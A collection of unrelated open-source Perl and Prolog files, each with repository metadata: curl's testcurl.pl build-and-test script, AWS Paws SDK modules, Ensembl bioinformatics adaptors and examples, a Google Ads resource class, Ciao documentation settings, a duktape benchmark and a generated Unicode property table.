($targetos =~ /vc/ || $targetos =~ /borland/ || $targetos =~ /watcom/) { $binext = '.exe'; $libext = '.lib'; } elsif ($targetos =~ /mingw/) { $binext = '.exe'; if ($^O eq 'MSWin32') { $libext = '.a'; } } elsif ($targetos =~ /netware/) { $configurebuild = 0; $binext = '.nlm'; if ($^O eq 'MSWin32') { $libext = '.lib'; } else { $libext = '.a'; } } } if (($^O eq 'MSWin32' || $^O eq 'cygwin' || $^O eq 'msys') && ($targetos =~ /vc/ || $targetos =~ /mingw32/ || $targetos =~ /borland/ || $targetos =~ /watcom/)) { # Set these things only when building ON Windows and for Win32 platform. # FOR Windows since we might be cross-compiling on another system. Non- # Windows builds still default to configure-style builds with curl_config.h. $configurebuild = 0; $confheader = 'config-win32.h'; } $ENV{LC_ALL}="C" if (($ENV{LC_ALL}) && ($ENV{LC_ALL} !~ /^C$/)); $ENV{LC_CTYPE}="C" if (($ENV{LC_CTYPE}) && ($ENV{LC_CTYPE} !~ /^C$/)); $ENV{LANG}="C"; sub rmtree($) { my $target = $_[0]; if ($^O eq 'MSWin32') { foreach (glob($target)) { s:/:\\:g; system("rd /s /q $_"); } } else { system("rm -rf $target"); } } sub grepfile($$) { my ($target, $fn) = @_; open(F, $fn) or die; while (<F>) { if (/$target/) { close(F); return 1; } } close(F); return 0; } sub logit($) { my $text=$_[0]; if ($text) { print "testcurl: $text\n"; } } sub logit_spaced($) { my $text=$_[0]; if ($text) { print "\ntestcurl: $text\n\n"; } } sub mydie($){ my $text=$_[0]; logit "$text"; chdir $pwd; # cd back to the original root dir if ($pwd && $build) { # we have a build directory name, remove the dir logit "removing the $build dir"; rmtree "$pwd/$build"; } if (-r $buildlog) { # we have a build log output file left, remove it logit "removing the $buildlogname file"; unlink "$buildlog"; } logit "ENDING HERE"; # last line logged! exit 1; } sub get_host_triplet { my $triplet; my $configfile = "$pwd/$build/lib/curl_config.h"; if(-f $configfile && -s $configfile && open(LIBCONFIGH, "<$configfile")) { while(<LIBCONFIGH>) { if($_ =~ /^\#define\s+OS\s+"*([^"][^"]*)"*\s*/) { $triplet = $1; last; } } close(LIBCONFIGH); } return $triplet; } if($name && $email && $desc) { # having these fields set are enough to continue, skip reading the setup # file $infixed=4; $fixed=4; } elsif (open(F, "$setupfile")) { while (<F>) { if (/(\w+)=(.*)/) { eval "\$$1=$2;"; } } close(F); $infixed=$fixed; } else { $infixed=0; # so that "additional args to configure" works properly first time... } if (!$name) { print "please enter your name\n"; $name = <>; chomp $name; $fixed=1; } if (!$email) { print "please enter your contact email address\n"; $email = <>; chomp $email; $fixed=2; } if (!$desc) { print "please enter a one line system description\n"; $desc = <>; chomp $desc; $fixed=3; } if (!$confopts) { if ($infixed < 4) { print "please enter your additional arguments to configure\n"; print "examples: --with-ssl --enable-debug --enable-ipv6 --with-krb4\n"; $confopts = <>; chomp $confopts; } } if ($fixed < 4) { $fixed=4; open(F, ">$setupfile") or die; print F "name='$name'\n"; print F "email='$email'\n"; print F "desc='$desc'\n"; print F "confopts='$confopts'\n"; print F "notes='$notes'\n"; print F "fixed='$fixed'\n"; close(F); } # Enable picky compiler warnings unless explicitly disabled if (($confopts !~ /--enable-debug/) && ($confopts !~ /--enable-warnings/) && ($confopts !~ /--disable-warnings/)) { $confopts .= " --enable-warnings"; } my $str1066os = 'o' x 1066; # Set timestamp to the UTC this script is running. Its value might # be changed later in the script to the value present in curlver.h $timestamp = scalar(gmtime)." UTC"; logit "STARTING HERE"; # first line logged, for scripts to trigger on logit 'TRANSFER CONTROL ==== 1120 CHAR LINE' . $str1066os . 'LINE_END'; logit "NAME = $name"; logit "EMAIL = $email"; logit "DESC = $desc"; logit "NOTES = $notes"; logit "CONFOPTS = $confopts"; logit "RUNTESTOPTS = ".$runtestopts; logit "CPPFLAGS = ".$ENV{CPPFLAGS}; logit "CFLAGS = ".$ENV{CFLAGS}; logit "LDFLAGS = ".$ENV{LDFLAGS}; logit "LIBS = ".$ENV{LIBS}; logit "CC = ".$ENV{CC}; logit "TMPDIR = ".$ENV{TMPDIR}; logit "MAKEFLAGS = ".$ENV{MAKEFLAGS}; logit "ACLOCAL_FLAGS = ".$ENV{ACLOCAL_FLAGS}; logit "PKG_CONFIG_PATH = ".$ENV{PKG_CONFIG_PATH}; logit "DYLD_LIBRARY_PATH = ".$ENV{DYLD_LIBRARY_PATH}; logit "LD_LIBRARY_PATH = ".$ENV{LD_LIBRARY_PATH}; logit "LIBRARY_PATH = ".$ENV{LIBRARY_PATH}; logit "SHLIB_PATH = ".$ENV{SHLIB_PATH}; logit "LIBPATH = ".$ENV{LIBPATH}; logit "target = ".$targetos; logit "version = $version"; # script version logit "date = $timestamp"; # When the test build starts $str1066os = undef; # Make $pwd to become the path without newline. We'll use that in order to cut # off that path from all possible logs and error messages etc. $pwd = getcwd(); my $have_embedded_ares = 0; if (-d $CURLDIR) { if ($git && -d "$CURLDIR/.git") { logit "$CURLDIR is verified to be a fine git source dir"; # remove the generated sources to force them to be re-generated each # time we run this test unlink "$CURLDIR/src/tool_hugehelp.c"; # find out if curl source dir has an in-tree c-ares repo $have_embedded_ares = 1 if (-f "$CURLDIR/ares/GIT-INFO"); } elsif (!$git && -f "$CURLDIR/tests/testcurl.pl") { logit "$CURLDIR is verified to be a fine daily source dir"; # find out if curl source dir has an in-tree c-ares extracted tarball $have_embedded_ares = 1 if (-f "$CURLDIR/ares/ares_build.h"); } else { mydie "$CURLDIR is not a daily source dir or checked out from git!" } } # make the path absolute so we can use it everywhere $CURLDIR = File::Spec->rel2abs("$CURLDIR"); $build="build-$$"; $buildlogname="buildlog-$$"; $buildlog="$pwd/$buildlogname"; # remove any previous left-overs rmtree "build-*"; rmtree "buildlog-*"; # this is to remove old build logs that ended up in the wrong dir foreach (glob("$CURLDIR/buildlog-*")) { unlink $_; } # create a dir to build in mkdir $build, 0777; if (-d $build) { logit "build dir $build was created fine"; } else { mydie "failed to create dir $build"; } # get in the curl source tree root chdir $CURLDIR; # Do the git thing, or not... if ($git) { my $gitstat = 0; my @commits; # update quietly to the latest git if($nogitpull) { logit "skipping git pull (--nogitpull)"; } else { logit "run git pull in curl"; system("git pull 2>&1"); $gitstat += $?; logit "failed to update from curl git ($?), continue anyway" if ($?); # Set timestamp to the UTC the git update took place. $timestamp = scalar(gmtime)." UTC" if (!$gitstat); } # get the last 5 commits for show (even if no pull was made) @commits=`git log --pretty=oneline --abbrev-commit -5`; logit "The most recent curl git commits:"; for (@commits) { chomp ($_); logit " $_"; } if (-d "ares/.git") { chdir "ares"; if($nogitpull) { logit "skipping git pull (--nogitpull) in ares"; } else { logit "run git pull in ares"; system("git pull 2>&1"); $gitstat += $?; logit "failed to update from ares git ($?), continue anyway" if ($?); # Set timestamp to the UTC the git update took place. $timestamp = scalar(gmtime)." UTC" if (!$gitstat); } # get the last 5 commits for show (even if no pull was made) @commits=`git log --pretty=oneline --abbrev-commit -5`; logit "The most recent ares git commits:"; for (@commits) { chomp ($_); logit " $_"; } chdir "$CURLDIR"; } if($nobuildconf) { logit "told to not run buildconf"; } elsif ($configurebuild) { # remove possible left-overs from the past unlink "configure"; unlink "autom4te.cache"; # generate the build files logit "invoke buildconf"; open(F, "./buildconf 2>&1 |") or die; open(LOG, ">$buildlog") or die; while (<F>) { my $ll = $_; # ignore messages pertaining to third party m4 files we don't care next if ($ll =~ /aclocal\/gtk\.m4/); next if ($ll =~ /aclocal\/gtkextra\.m4/); print $ll; print LOG $ll; } close(F); close(LOG); if (grepfile("^buildconf: OK", $buildlog)) { logit "buildconf was successful"; } else { mydie "buildconf was NOT successful"; } } else { logit "buildconf was successful (dummy message)"; } } # Set timestamp to the one in curlver.h if this isn't a git test build. if ((-f "include/curl/curlver.h") && (open(F, "<include/curl/curlver.h"))) { while (<F>) { chomp; if ($_ =~ /^\#define\s+LIBCURL_TIMESTAMP\s+\"(.+)\".*$/) { my $stampstring = $1; if ($stampstring !~ /DEV/) { $stampstring =~ s/\s+UTC//; $timestamp = $stampstring." UTC"; } last; } } close(F); } # Show timestamp we are using for this test build. logit "timestamp = $timestamp"; if ($configurebuild) { if (-f "configure") { logit "configure created (at least it exists)"; } else { mydie "no configure created/found"; } } else { logit "configure created (dummy message)"; # dummy message to feign success } sub findinpath { my $c; my $e; my $x = ($^O eq 'MSWin32') ? '.exe' : ''; my $s = ($^O eq 'MSWin32') ? ';' : ':'; my $p=$ENV{'PATH'}; my @pa = split($s, $p); for $c (@_) { for $e (@pa) { if( -x "$e/$c$x") { return $c; } } } } my $make = findinpath("gmake", "make", "nmake"); if(!$make) { mydie "Couldn't find make in the PATH"; } # force to 'nmake' for VC builds $make = "nmake" if ($targetos =~ /vc/); # force to 'wmake' for Watcom builds $make = "wmake" if ($targetos =~ /watcom/); logit "going with $make as make"; # change to build dir chdir "$pwd/$build"; if ($configurebuild) { # run configure script print `$CURLDIR/configure $confopts 2>&1`; if (-f "lib/Makefile") { logit "configure seems to have finished fine"; } else { mydie "configure didn't work"; } } else { logit "copying files to build dir ..."; if (($^O eq 'MSWin32') && ($targetos !~ /netware/)) { system("xcopy /s /q \"$CURLDIR\" ."); system("buildconf.bat"); } elsif ($targetos =~ /netware/) { system("cp -afr $CURLDIR/* ."); system("cp -af $CURLDIR/Makefile.dist Makefile"); system("$make -i -C lib -f Makefile.netware prebuild"); system("$make -i -C src -f Makefile.netware prebuild"); if (-d "$CURLDIR/ares") { system("$make -i -C ares -f Makefile.netware prebuild"); } } elsif ($^O eq 'linux') { system("cp -afr $CURLDIR/* ."); system("cp -af $CURLDIR/Makefile.dist Makefile"); system("$make -i -C lib -f Makefile.$targetos prebuild"); system("$make -i -C src -f Makefile.$targetos prebuild"); if (-d "$CURLDIR/ares") { system("cp -af $CURLDIR/ares/ares_build.h.dist ./ares/ares_build.h"); system("$make -i -C ares -f Makefile.$targetos prebuild"); } } } if(-f "./libcurl.pc") { logit_spaced "display libcurl.pc"; if(open(F, "<./libcurl.pc")) { while(<F>) { my $ll = $_; print $ll if(($ll !~ /^ *#/) && ($ll !~ /^ *$/)); } close(F); } } logit_spaced "display lib/$confheader"; open(F, "lib/$confheader") or die "lib/$confheader: $!"; while (<F>) { print if /^ *#/; } close(F); if (($have_embedded_ares) && (grepfile("^#define USE_ARES", "lib/$confheader"))) { print "\n"; logit "setup to build ares"; if(-f "./ares/libcares.pc") { logit_spaced "display ares/libcares.pc"; if(open(F, "<./ares/libcares.pc")) { while(<F>) { my $ll = $_; print $ll if(($ll !~ /^ *#/) && ($ll !~ /^ *$/)); } close(F); } } if(-f "./ares/ares_build.h") { logit_spaced "display ares/ares_build.h"; if(open(F, "<./ares/ares_build.h")) { while(<F>) { my $ll = $_; print $ll if(($ll =~ /^ *# *define *CARES_/) && ($ll !~ /__CARES_BUILD_H/)); } close(F); } } else { mydie "no ares_build.h created/found"; } $confheader =~ s/curl/ares/; logit_spaced "display ares/$confheader"; if(open(F, "ares/$confheader")) { while (<F>) { print if /^ *#/; } close(F); } print "\n"; logit "build ares"; chdir "ares"; if ($targetos && !$configurebuild) { logit "$make -f Makefile.$targetos"; open(F, "$make -f Makefile.$targetos 2>&1 |") or die; } else { logit "$make"; open(F, "$make 2>&1 |") or die; } while (<F>) { s/$pwd//g; print; } close(F); if (-f "libcares$libext") { logit "ares is now built successfully (libcares$libext)"; } else { mydie "ares build failed (libcares$libext)"; } # cd back to the curl build dir chdir "$pwd/$build"; } my $mkcmd = "$make -i" . ($targetos && !$configurebuild ? " $targetos" : ""); logit "$mkcmd"; open(F, "$mkcmd 2>&1 |") or die; while (<F>) { s/$pwd//g; print; } close(F); if (-f "lib/libcurl$libext") { logit "libcurl was created fine (libcurl$libext)"; } else { mydie "libcurl was not created (libcurl$libext)"; } if (-f "src/curl$binext") { logit "curl was created fine (curl$binext)"; } else { mydie "curl was not created (curl$binext)"; } if (!$crosscompile || (($extvercmd ne '') && (-x $extvercmd))) { logit "display curl${binext} --version output"; my $cmd = ($extvercmd ne '' ? $extvercmd.' ' : '')."./src/curl${binext} --version|"; open(F, $cmd); while(<F>) { # strip CR from output on non-win32 platforms (wine on Linux) s/\r// if ($^O ne 'MSWin32'); print; } close(F); } if ($configurebuild && !$crosscompile) { my $host_triplet = get_host_triplet(); # build example programs for selected build targets if(($host_triplet =~ /([^-]+)-([^-]+)-irix(.*)/) || ($host_triplet =~ /([^-]+)-([^-]+)-aix(.*)/) || ($host_triplet =~ /([^-]+)-([^-]+)-osf(.*)/) || ($host_triplet =~ /([^-]+)-([^-]+)-solaris2(.*)/)) { chdir "$pwd/$build/docs/examples"; logit_spaced "build examples"; open(F, "$make -i 2>&1 |") or die; open(LOG, ">$buildlog") or die; while (<F>) { s/$pwd//g; print; print LOG; } close(F); close(LOG); chdir "$pwd/$build"; } # build and run full test suite my $o; if($runtestopts) { $o = "TEST_F=\"$runtestopts\" "; } logit "$make -k ${o}test-full"; open(F, "$make -k ${o}test-full 2>&1 |") or die; open(LOG, ">$buildlog") or die; while (<F>) { s/$pwd//g; print; print LOG; } close(F); close(LOG); if (grepfile("^TEST", $buildlog)) { logit "tests were run"; } else { mydie "test suite failure"; } if (grepfile("^TESTFAIL:", $buildlog)) { logit "the tests were not successful"; } else { logit "the tests were successful!"; } } else { if($crosscompile) { my $host_triplet = get_host_triplet(); # build example programs for selected cross-compiles if(($host_triplet =~ /([^-]+)-([^-]+)-mingw(.*)/) || ($host_triplet =~ /([^-]+)-([^-]+)-android(.*)/)) { chdir "$pwd/$build/docs/examples"; logit_spaced "build examples"; open(F, "$make -i 2>&1 |") or die; open(LOG, ">$buildlog") or die; while (<F>) { s/$pwd//g; print; print LOG; } close(F); close(LOG); chdir "$pwd/$build"; } # build test harness programs for selected cross-compiles if($host_triplet =~ /([^-]+)-([^-]+)-mingw(.*)/) { chdir "$pwd/$build/tests"; logit_spaced "build test harness"; open(F, "$make -i 2>&1 |") or die; open(LOG, ">$buildlog") or die; while (<F>) { s/$pwd//g; print; print LOG; } close(F); close(LOG); chdir "$pwd/$build"; } logit_spaced "cross-compiling, can't run tests"; } # dummy message to feign success print "TESTDONE: 1 tests out of 0 (dummy message)\n"; } # create a tarball if we got that option. if (($mktarball ne '') && (-x $mktarball)) { system($mktarball); } # mydie to cleanup mydie "ending nicely";
LiberatorUSA/GUCEF
dependencies/curl/tests/testcurl.pl
Perl
apache-2.0
21,619
package Paws::WAFRegional::UpdateSizeConstraintSet; use Moose; has ChangeToken => (is => 'ro', isa => 'Str', required => 1); has SizeConstraintSetId => (is => 'ro', isa => 'Str', required => 1); has Updates => (is => 'ro', isa => 'ArrayRef[Paws::WAFRegional::SizeConstraintSetUpdate]', required => 1); use MooseX::ClassAttribute; class_has _api_call => (isa => 'Str', is => 'ro', default => 'UpdateSizeConstraintSet'); class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::WAFRegional::UpdateSizeConstraintSetResponse'); class_has _result_key => (isa => 'Str', is => 'ro'); 1; ### main pod documentation begin ### =head1 NAME Paws::WAFRegional::UpdateSizeConstraintSet - Arguments for method UpdateSizeConstraintSet on Paws::WAFRegional =head1 DESCRIPTION This class represents the parameters used for calling the method UpdateSizeConstraintSet on the AWS WAF Regional service. Use the attributes of this class as arguments to method UpdateSizeConstraintSet. You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to UpdateSizeConstraintSet. As an example: $service_obj->UpdateSizeConstraintSet(Att1 => $value1, Att2 => $value2, ...); Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object. =head1 ATTRIBUTES =head2 B<REQUIRED> ChangeToken => Str The value returned by the most recent call to GetChangeToken. =head2 B<REQUIRED> SizeConstraintSetId => Str The C<SizeConstraintSetId> of the SizeConstraintSet that you want to update. C<SizeConstraintSetId> is returned by CreateSizeConstraintSet and by ListSizeConstraintSets. =head2 B<REQUIRED> Updates => ArrayRef[L<Paws::WAFRegional::SizeConstraintSetUpdate>] An array of C<SizeConstraintSetUpdate> objects that you want to insert into or delete from a SizeConstraintSet. For more information, see the applicable data types: =over =item * SizeConstraintSetUpdate: Contains C<Action> and C<SizeConstraint> =item * SizeConstraint: Contains C<FieldToMatch>, C<TextTransformation>, C<ComparisonOperator>, and C<Size> =item * FieldToMatch: Contains C<Data> and C<Type> =back =head1 SEE ALSO This class forms part of L<Paws>, documenting arguments for method UpdateSizeConstraintSet in L<Paws::WAFRegional> =head1 BUGS and CONTRIBUTIONS The source code is located here: https://github.com/pplu/aws-sdk-perl Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues =cut
ioanrogers/aws-sdk-perl
auto-lib/Paws/WAFRegional/UpdateSizeConstraintSet.pm
Perl
apache-2.0
2,644
=head1 LICENSE Copyright (c) 1999-2011 The European Bioinformatics Institute and Genome Research Limited. All rights reserved. This software is distributed under a modified Apache license. For license details, please see http://www.ensembl.org/info/about/code_licence.html =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <dev@ensembl.org>. Questions may also be sent to the Ensembl help desk at <helpdesk@ensembl.org>. =cut # # Ensembl module for Bio::EnsEMBL::Variation::DBSQL::IndividualGenotypeAdaptor # # Copyright (c) 2004 Ensembl # # You may distribute this module under the same terms as perl itself # # =head1 NAME Bio::EnsEMBL::Variation::DBSQL::IndividualGenotypeAdaptor =head1 SYNOPSIS $reg = 'Bio::EnsEMBL::Registry'; $reg->load_registry_from_db(-host => 'ensembldb.ensembl.org',-user => 'anonymous'); $iga = $reg->get_adaptor("human","variation","individualgenotype"); $sa = $reg->get_adaptor("human","core","slice"); $slice = $sa->fetch_by_region("chromosome", 6, 133088927, 133089926); foreach my $ig(@{$iga->fetch_all_by_Slice($slice}) { print $ig->allele1, "|", $ig->allele2; } =head1 DESCRIPTION This adaptor provides database connectivity for IndividualGenotype objects. IndividualGenotypes may be retrieved from the Ensembl variation database by several means using this module. =head1 METHODS =cut package Bio::EnsEMBL::Variation::DBSQL::IndividualGenotypeAdaptor; use strict; use warnings; use vars qw(@ISA); use Bio::EnsEMBL::DBSQL::BaseAdaptor; use Bio::EnsEMBL::Utils::Exception qw(throw warning); use Bio::EnsEMBL::Variation::DBSQL::BaseGenotypeAdaptor; @ISA = ('Bio::EnsEMBL::Variation::DBSQL::BaseGenotypeAdaptor'); =head2 fetch_all_by_Variation Arg [1] : Bio::EnsEMBL::Variation $variation Example : my $var = $variation_adaptor->fetch_by_name( "rs1121" ) $igtypes = $igtype_adaptor->fetch_all_by_Variation( $var ) Description: Retrieves a list of individual genotypes for the given Variation. If none are available an empty listref is returned. Returntype : listref Bio::EnsEMBL::Variation::IndividualGenotype Exceptions : none Caller : general Status : At Risk =cut sub fetch_all_by_Variation { my $self = shift; my $variation = shift; $self->_multiple(0); #to return data from single and multiple table return $self->SUPER::fetch_all_by_Variation($variation); } =head2 fetch_all_by_Slice Arg [1] : Bio::EnsEMBL::Slice $slice Example : $igtypes = $igtype_adaptor->fetch_all_by_Slice( $slice ) Description: Retrieves a list of individual genotypes in a given Slice. If none are available an empty listref is returned. Returntype : listref Bio::EnsEMBL::Variation::IndividualGenotype Exceptions : none Caller : general Status : At Risk =cut sub fetch_all_by_Slice{ my $self = shift; my $slice = shift; $self->_multiple(0); my @final_genotypes; push @final_genotypes, @{$self->SUPER::fetch_all_by_Slice($slice)}; $self->_multiple(1); $self->SUPER::fetch_all_by_Slice($slice); push @final_genotypes, @{$self->SUPER::fetch_all_by_Slice($slice)}; return \@final_genotypes; } 1;
adamsardar/perl-libs-custom
EnsemblAPI/ensembl-variation/modules/Bio/EnsEMBL/Variation/DBSQL/IndividualGenotypeAdaptor.pm
Perl
apache-2.0
3,284
# Copyright 2020, Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. package Google::Ads::GoogleAds::V9::Resources::ConversionTrackingSetting; use strict; use warnings; use base qw(Google::Ads::GoogleAds::BaseEntity); use Google::Ads::GoogleAds::Utils::GoogleAdsHelper; sub new { my ($class, $args) = @_; my $self = { conversionTrackingId => $args->{conversionTrackingId}, crossAccountConversionTrackingId => $args->{crossAccountConversionTrackingId}}; # Delete the unassigned fields in this object for a more concise JSON payload remove_unassigned_fields($self, $args); bless $self, $class; return $self; } 1;
googleads/google-ads-perl
lib/Google/Ads/GoogleAds/V9/Resources/ConversionTrackingSetting.pm
Perl
apache-2.0
1,162
:- module(_, _, [functions]). :- use_module(library(terms)). :- use_module(ciaosrc('CIAOSETTINGS')). :- use_module(ciaosrc('CIAOSHARED')). :- reexport(ciaosrc('doc/common/LPDOCCOMMON')). :- reexport(ciaosrc('CIAOSETTINGS'), [lpdoclib/1]). :- redefining(_). :- discontiguous fileoption/2. % -*- mode: Makefile; -*- % ---------------------------------------------------------------------------- % % **** lpdoc document generation SETTINGS ***** % % These SETTINGS should be changed to suit your application % % The defaults listed are suggestions and/or the ones used for local % installation in the CLIP group machines. % ---------------------------------------------------------------------------- % List of all directories where the .pl files to be documented can be found % (separated by spaces; put explicit paths, i.e., do not use any variables) % You also need to specify all the paths of files used by those files! % filepath := ~atom_concat( [ ~ciaosrc , '/library/javaobs' ] ). % ---------------------------------------------------------------------------- % List of all the *system* directories where .pl files used are % (separated by spaces; put explicit paths, i.e., do not use any variables) % You also need to specify all the paths of files used by those files! % You can put these in FILEPATHS instead. Putting them here only % means that the corresponding files will be assumed to be "system" % files in the documentation. % systempath := ~atom_concat( [ ~ciaosrc , '/lib' ] )| ~atom_concat( [ ~ciaosrc , '/library' ] )| ~atom_concat( [ ~ciaosrc , '/doc/common' ] ). % ---------------------------------------------------------------------------- % Uncommenting this allows loading a file including path alias definitions % (i.e., this has the same functionality as the @tt{-u} option in @apl{ciaoc}) % Simply leave uncommented if you do not use path aliases. % % PATHSFILE = % ---------------------------------------------------------------------------- % Define this to be the main file name (include a path only if it % should appear in the documentation) % mainfile := 'java_obj'. % ---------------------------------------------------------------------------- % Select lpdoc options for main file (do 'lpdoc -h' to get list of options) % Leaving this blank produces most verbose manuals % -v -nobugs -noauthors -noversion -nochangelog -nopatches -modes % -headprops -literalprops -nopropnames -noundefined -nopropsepln -norefs % -nobullet -nosysmods -noengmods -noisoline -propmods -shorttoc -noregtypepr % fileoption(~mainfile) := '-noengmods'. % ---------------------------------------------------------------------------- % List of files to be used as components. These can be .pl files % or .src files (manually produced files in texinfo format). % (include a path only if it should appear in the documentation, i.e., % for sublibraries) % % ---------------------------------------------------------------------------- % Select lpdoc opts for component file(s) % (see above or do 'lpdoc -h' to get complete list of opts)) % Leaving this blank produces most verbose manuals % % ---------------------------------------------------------------------------- % Define this to be the list of documentation formats to be generated by % default when typing gmake (*** keep them in this order ***) % texi dvi ps pdf ascii manl info infoindex html htmlindex % % Leaving out pdf since many systems don't have ps to pdf conversion yet % DOCFORMATS = texi dvi ps pdf ascii manl info infoindex html htmlindex docformat := 'texi' | 'dvi' | 'ps' | 'ascii' | 'manl' | 'info' | 'infoindex' | 'html' | 'htmlindex'. % ---------------------------------------------------------------------------- % Define this to be the list (separated by spaces) of indices to be % generated ('all' generates all the supported indices) % Note: too many indices may exceed the capacity of texinfo! % concept lib apl pred prop regtype decl op modedef file global % all % index := 'concept' | 'pred' | 'prop' | 'regtype' | 'modedef' | 'global'. % ---------------------------------------------------------------------------- % If you are using bibliographic references, define this to be the list % (separated by commas, full paths, no spaces) of .bib files to be used % to find them. % :- reexport(ciaosrc('CIAOSHARED'), [bibfile/1]). % ---------------------------------------------------------------------------- % Setting this to a different value allows changing the page number of % the first page of the manual. This can be useful if the manual is to % be included in a larger document or set of manuals. % Typically, this should be an odd number. % startpage := 1. % ---------------------------------------------------------------------------- % Only need to change these if you will be installing the docs somewhere else % ---------------------------------------------------------------------------- % Define this to be the dir in which you want the document(s) installed. % docdir := ~('CIAOSETTINGS':docdir). % ---------------------------------------------------------------------------- % Uncomment this for .dvi and .ps files to be compressed on installation % If uncommented, set it to path for gzip % % COMPRESSDVIPS = gzip % ---------------------------------------------------------------------------- % Uncomment this to specify a gif to be used as page background in html % htmlbackground := 'http://www.clip.dia.fi.upm.es/images/Clip_bg.gif'. % ---------------------------------------------------------------------------- % Define this to be the permissions for automatically generated data files % datapermissions := perm(rw, rw, r). % ---------------------------------------------------------------------------- % Define this to be the perms for automatically generated dirs and exec files % execpermissions := perm(rwx, rwx, rx). % ---------------------------------------------------------------------------- % The settings below are important only for generating html and info *indices* % ---------------------------------------------------------------------------- % Define this to be files containing header and tail for the html index. % Pointers to the files generated by lpdoc are placed in a document that % starts with HTMLINDEXHEADFILE and finishes with HTMLINDEXTAILFILE % % HTMLINDEXHEADFILE = $(LIBDIR)/Head_generic.html htmlindex_headfile := ~atom_concat( [ ~lpdoclib , '/Head_clip.html' ] ). % HTMLINDEXTAILFILE = $(LIBDIR)/Tail_generic.html htmlindex_tailfile := ~atom_concat( [ ~lpdoclib , '/Tail_clip.html' ] ). % ---------------------------------------------------------------------------- % Define this to be files containing header and tail for the info "dir" index. % dir entries generated by lpdoc are placed in a "dir" file that % starts with INFODIRHEADFILE and finishes with INFODIRTAILFILE % % INFODIRHEADFILE = $(LIBDIR)/Head_generic.info infodir_headfile := ~atom_concat( [ ~lpdoclib , '/Head_clip.info' ] ). % INFODIRTAILFILE = $(LIBDIR)/Tail_generic.info infodir_tailfile := ~atom_concat( [ ~lpdoclib , '/Tail_clip.info' ] ). % ---------------------------------------------------------------------------- % end of SETTINGS
leuschel/ecce
www/CiaoDE/ciao/library/javaobs/Doc/LPSETTINGS.pl
Perl
apache-2.0
7,248
#!/usr/bin/env perl package Interhack::Plugin::IO::Terminal; use Calf::Role qw/to_user from_user/; use Term::ReadKey; our $VERSION = '1.99_01'; # attributes {{{ # }}} # methods {{{ sub to_user # {{{ { my $self = shift; my ($text) = @_; print $text; } # }}} sub from_user # {{{ { my $self = shift; ReadKey 0.05; } # }}} # }}} # method modifiers {{{ # }}} 1;
TAEB/Interhack2
lib/Interhack/Plugin/IO/Terminal.pm
Perl
bsd-3-clause
381
package Paws::StorageGateway::DescribeBandwidthRateLimitOutput; use Moose; has AverageDownloadRateLimitInBitsPerSec => (is => 'ro', isa => 'Int'); has AverageUploadRateLimitInBitsPerSec => (is => 'ro', isa => 'Int'); has GatewayARN => (is => 'ro', isa => 'Str'); has _request_id => (is => 'ro', isa => 'Str'); ### main pod documentation begin ### =head1 NAME Paws::StorageGateway::DescribeBandwidthRateLimitOutput =head1 ATTRIBUTES =head2 AverageDownloadRateLimitInBitsPerSec => Int The average download bandwidth rate limit in bits per second. This field does not appear in the response if the download rate limit is not set. =head2 AverageUploadRateLimitInBitsPerSec => Int The average upload bandwidth rate limit in bits per second. This field does not appear in the response if the upload rate limit is not set. =head2 GatewayARN => Str =head2 _request_id => Str =cut 1;
ioanrogers/aws-sdk-perl
auto-lib/Paws/StorageGateway/DescribeBandwidthRateLimitOutput.pm
Perl
apache-2.0
905
# Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. use strict; use warnings; use Bio::EnsEMBL::Registry; use Bio::AlignIO; ## Load the registry automatically my $reg = "Bio::EnsEMBL::Registry"; $reg->load_registry_from_url('mysql://anonymous@ensembldb.ensembl.org'); ## Get the compara family adaptor my $family_adaptor = $reg->get_adaptor("Multi", "compara", "Family"); ## Get all the families my $this_family = $family_adaptor->fetch_by_stable_id('ENSFM00250000006121'); ## Description of the family print $this_family->description(), " (description score = ", $this_family->description_score(), ")\n"; ## BioPerl alignment my $simple_align = $this_family->get_SimpleAlign(-append_taxon_id => 1); my $alignIO = Bio::AlignIO->newFh(-format => "clustalw"); print $alignIO $simple_align;
ckongEbi/ensembl-compara
docs/workshop/API_workshop_exercises/family1.pl
Perl
apache-2.0
1,398
sub test { my %obj = ( 'xxx1' => 1, 'xxx2' => 2, 'xxx3' => 3, 'xxx4' => 4, 'foo' => 123 ); my $i; my $ign; for ($i = 0; $i < 1e8; $i++) { $ign = $obj{'foo'}; } } test();
kphillisjr/duktape
tests/perf/test-prop-read.pl
Perl
mit
200
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by mktables from the Unicode # database, Version 6.1.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. return <<'END'; 2155 END
Dokaponteam/ITF_Project
xampp/perl/lib/unicore/lib/Nv/1_5.pl
Perl
mit
418
